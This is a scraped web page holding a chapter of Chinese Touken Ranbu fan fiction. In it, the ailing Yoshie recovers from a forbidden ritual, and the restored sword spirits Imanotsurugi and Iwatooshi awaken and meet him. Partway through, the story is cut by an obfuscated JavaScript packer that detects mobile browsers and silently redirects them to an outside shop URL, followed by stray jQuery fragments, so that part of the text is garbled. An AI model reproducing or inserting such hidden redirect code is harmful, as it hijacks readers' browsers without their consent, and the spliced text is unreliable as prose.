本丸的季节是根据时之政府公布的时间规律运转的,冬天过去是春天,雨水之类的也按照时令来,群山湖泊和海洋中存在着各种生物。
狐之助在家里守着发烧昏睡的芳江大人,山姥切在附近的山上采到了很不错的春笋。
如果拿回去的话,可以做一些好吃的料理。
山姥切把装得满满的竹篮和沾满泥土的手套放在厨房门前,洗了手就朝着天守阁走去。
路上,山姥切路过了手入室,看了看今剑和岩融的情况。
芳江大人清除了其身上的标记,这样的话就可以使用他的灵力进行修复了,也就是说,等今剑和岩融醒来,这座本丸就会来新人了。
山姥切国广一想到这里就有一瞬间的不自在。
天守阁里,芳江睡得很不安稳,狐之助趴在他身边默默地守着。
刀剑付丧神再怎么说都是神,芳江大人的存在虽然特殊,但归根结底也只不过是一个人类。
用自身的灵力和禁术阵法逆转付丧神的因果,怎么想都是了不得的事情。
如果当时山姥切阁下选择离开的话,芳江大人大概也会使用这个阵法,也会落到这种下场。
真是让狐不省心啊。
狐之助想着,一爪子拍到了芳江的下巴上。
天守阁门外传来了熟悉的脚步声,山姥切缓缓拉门走了进来。
山姥切跪坐在床铺边,将芳江大人额头的毛巾拿下洗了洗拧干,再次铺在他的额头。
“好像在做噩梦。”狐之助看着芳江大人紧锁的眉头。
“烧也没退。”山姥切也皱着眉,面上带着浓重的担忧。
芳江大人用阵法将今剑和岩融身上的灵力标记剥离之后,尚且清醒了一段时间。
安静地吩咐山姥切国广去照顾修复的今剑和岩融,然后跟狐之助说明自己的情况。
‘暂时性的虚弱,用不了几天就会恢复,那阵法是禁术,所以千万不要联系时之政府。’
今剑和岩融是山姥切亲手放进修复池的,而修复的时间要比山姥切想的还久。
“手入室那边大概还需要半个月的时间。”
狐之助眨了眨眼睛,也就是说,还有半个月,本丸里就要来新人了。
不过那些并不在狐之助的思考中,他只希望芳江大人能尽快恢复,这样躺在床上的样子,真的不适合芳江大人。
芳江绝大多时间里他都处于一种混沌的状态,不清楚自己在什么地方,也不知道自己在做什么,只是在黑暗中重复着挥砍的动作。
感觉手里好像有刀剑,可是紧紧握住时,手中却只有空气,鼻尖萦绕着的是战场上复杂的腥气,令人反胃。
天守阁内的刀架上,红色刀鞘和黑色刀鞘在灯光下泛着漆器一般的光泽,安静得如同睡梦中的房间一般。
为了照顾好芳江,山姥切和狐之助都把被褥搬到了天守阁,准备在这里留宿。
天守阁的书被重新整理了起来,天气好的时候,山姥切会把天守阁的门窗打开通风,把芳江大人的被褥换下来,拿出去清洗晾晒。
冬天彻底过去了,院子里的树开始发新芽,手入室里修复池的修复时间快归零那天,芳江终于清醒了。
没办法洗澡的芳江只能让山姥切打水来,自己简单的擦拭开了一下,他想换身衣服,却发现自己的旧衬衫领口破损的地方被缝补了起来,旁边还粘着几根狐狸毛。
芳江心里一暖,将手臂插到袖子里,俯首想要将头套进去。
山姥切看着芳江大人现在的样子,没忍住笑了出来。
狐之助把衬衫的领口缝到一起了,芳江大人被裹在衬衫里重重地叹了口气。
“跟狐之助说,缝衣服这活计还是别干了,太委屈他了。”
听着芳江闷闷的声音,坐在旁边的山姥切国广应了一声。
到了晚上,修复池的时间彻底归零,山姥切找找就在这里等待了。
先一步苏醒的岩融一眼就看到了眼前披着白布和兜帽的男子。
“嘎哈哈哈!我是岩融!和武藏坊弁庆一起狩猎了999把刀!普通人类不可能挥得动我!”
岩融穿着僧侣样式的改良袈裟,个头比芳江大人还要高,叉着腰,笑容灿烂。
山姥切国广听着岩融元气满满的声音,心里暗暗松了口气。
看样子修复得很成功。
“我是山姥切国广,按照主人的吩咐,来迎接你和今剑。”
山姥切国广的声音很清晰,虽然戴着兜帽,但看起来很有初始刀的气势。
岩融听到了今剑的名字,睁大了眼睛。
“山姥切,今剑也在这里吗?”
山姥切指了指他身后马上就要归零的修复池,岩融顺着方向看去。
时间彻底归零,一道金光浮现。
像小天狗一样的今剑显现,精致的袈裟铠甲和类似白拍子的单袖内搭,歪着头微笑。
“我是今剑!是义经公的守护刀哦!怎样,厉害吧!我和义经公,从寺庙那时开始,到最后都一直在一起呢!”
山姥切看向今剑,愣了愣,反应过来时才掖了掖兜帽。
和之前的样子截然相反,看来芳江大人可以安心了。
“喔,今剑!”
岩融举起了今剑笑着,今剑看着岩融也活泼地笑了起来。
山姥切国广用手抵在唇边,咳了两声,反应过来的岩融和今剑连忙站好。
“重新自我介绍一下,我是山姥切国广,是国广的作品,也是这座本丸的初始刀,接下来的一段时间由我照顾你们,如果有什么不懂的,可以直接来问我。”
今剑看向山姥切,歪着头:“山姥切先生,我可以去见审神者大人吗?”
不知道为什么,他总觉得自己应该去见见他的。
“总觉得要先拜访一下才好。”岩融也这样说道。
山姥切早就和狐之助串通好口供了,芳江大人是因为换季着凉而生病,关于今剑和岩融的经历,一切都要隐瞒。
“可以是可以,但是今天太晚了,芳江大人最近生病了,现在应该已经休息了,明天早上我带你们去怎么样?”
“好!”
山姥切带着今剑和岩融去为他们准备的房间,只是离开时岩融回头看了一眼。
为什么他和今剑会在手入室里醒来,不应该在锻刀室吗?
岩融和今剑的房间是一早就准备好的,各种生活用品都是狐之助亲自去万屋买来的高档品。
按照狐之助的话来说,他们本丸虽然日子不好过,但从不是缺小判的。
山姥切国广告别今剑和岩融之后就回到了天守阁。
岩融盘腿坐在榻榻米上,今剑在他身边走来走去。
“今剑,怎么了?”
“身体的感觉好奇怪啊,有些熟悉又有些陌生。”
岩融看着自己的手掌,轻轻握了握,笑了起来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240235|151383||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“确实呢,有些熟悉又有些陌生,不过确实难得的轻松啊。”
“岩融岩融!”
今剑扑了过来,抓着岩融的袖子。
“刚刚山姥切先生说了哦,那位大人叫作‘芳江’诶,你说那是位怎样的大人呢?”
“吼啦,明天去看看不就知道了吗。”
山姥切国广回到了天守阁,芳江不知何时从床铺上坐了起来。
“芳江大人?”山姥切国广看着芳江余光显然看到了这间屋子里变化。
修复室的门再一次被隐藏起来了,芳江大人的想法不言而喻。
他依旧要将这件事情继续隐瞒下去。
“安置好了?”
“嗯,明天早上我会带他们来天守阁。”
芳江缓缓呼了一口气,看向山姥切:“辛苦你了。”
芳江的情况并不乐观,身体虽然在恢复,但是恢复得很慢,从冬天到现在已经过去半个月了,芳江每天依旧只有短暂的清醒时间。
如果不是芳江一而再再而三地保证自己没事,山姥切和狐之助绝对不会这么坐以待毙下去。
——
第二天早上,山姥切先是带着今剑和岩融去了天守阁。
狐之助天守阁里照顾着芳江,今剑和岩融来的时候狐之助被芳江嫌话多烦人给塞到被子里了。
“老实点。”狐之助被芳江隔着被子拍了一下,瞬间老实了。
看到芳江的一瞬,今剑和岩融都被那种异常的熟悉感冲击得有些呆愣。
今剑和岩融看着坐在床褥里的男人,屋子里的灯光还算明亮,能清晰地看清芳江的样子。
看起来是位很端庄稳重的大人,琥珀色的眼睛像是宝石一样。
容貌很陌生,并非自己所认识的人。
“我是芳江,这座本丸的主人,但我并非审神者,与我之间无需注重礼节,既然来到了这里就把这里当作自己的家吧。”
芳江的脸色有些苍白,头发也略微有些凌乱,但即便是坐在床褥中也能看得出,他是位教养极好的大人。
山姥切跪坐在一边,看着呆愣愣的今剑和岩融,稍稍咳了一声,以示提醒。
今剑和岩融回过神来向芳江做自我介绍,芳江认真地听着,虽然他识得刀剑,但并不认识其中的付丧神。
也是今日才知道,今剑的付丧神是个活泼漂亮的小天狗,岩融的付丧神是位豪迈爽朗的僧侣扮相的高大男子。
“大人生病很严重吗?”今剑跪坐在榻榻米上凑近询问,他的眼睛带着十分绚丽的色彩。
“并不严重,过一段时间就好了,所以今剑和岩融最近就跟着山姥切熟悉熟悉本丸吧,不过这里的人很少,可能会很辛苦。”
“大人病好了要好好锻炼身体啊,这样就不会生病了。”岩融额前的那缕头发轻轻地晃动着。
“嗯,等病好了,一定会多多锻炼的。”芳江点头。
芳江耸着肩,平日里挺拔的身姿看起来有几分瘦弱,他坐在床铺上蜷着腿。
在岩融眼中,有了病弱buff加持的芳江大人大概也就比今剑大一圈吧。
小小的,又精致的一位大人呢。
今剑和岩融离开之后,芳江吃了点东西又继续躺着了,不过今日见了今剑和岩融的状况,他也总算是能松口气了。
至少,成功了。
不过,那种禁术阵法还是少用为好,仅仅一次就如此痛苦了。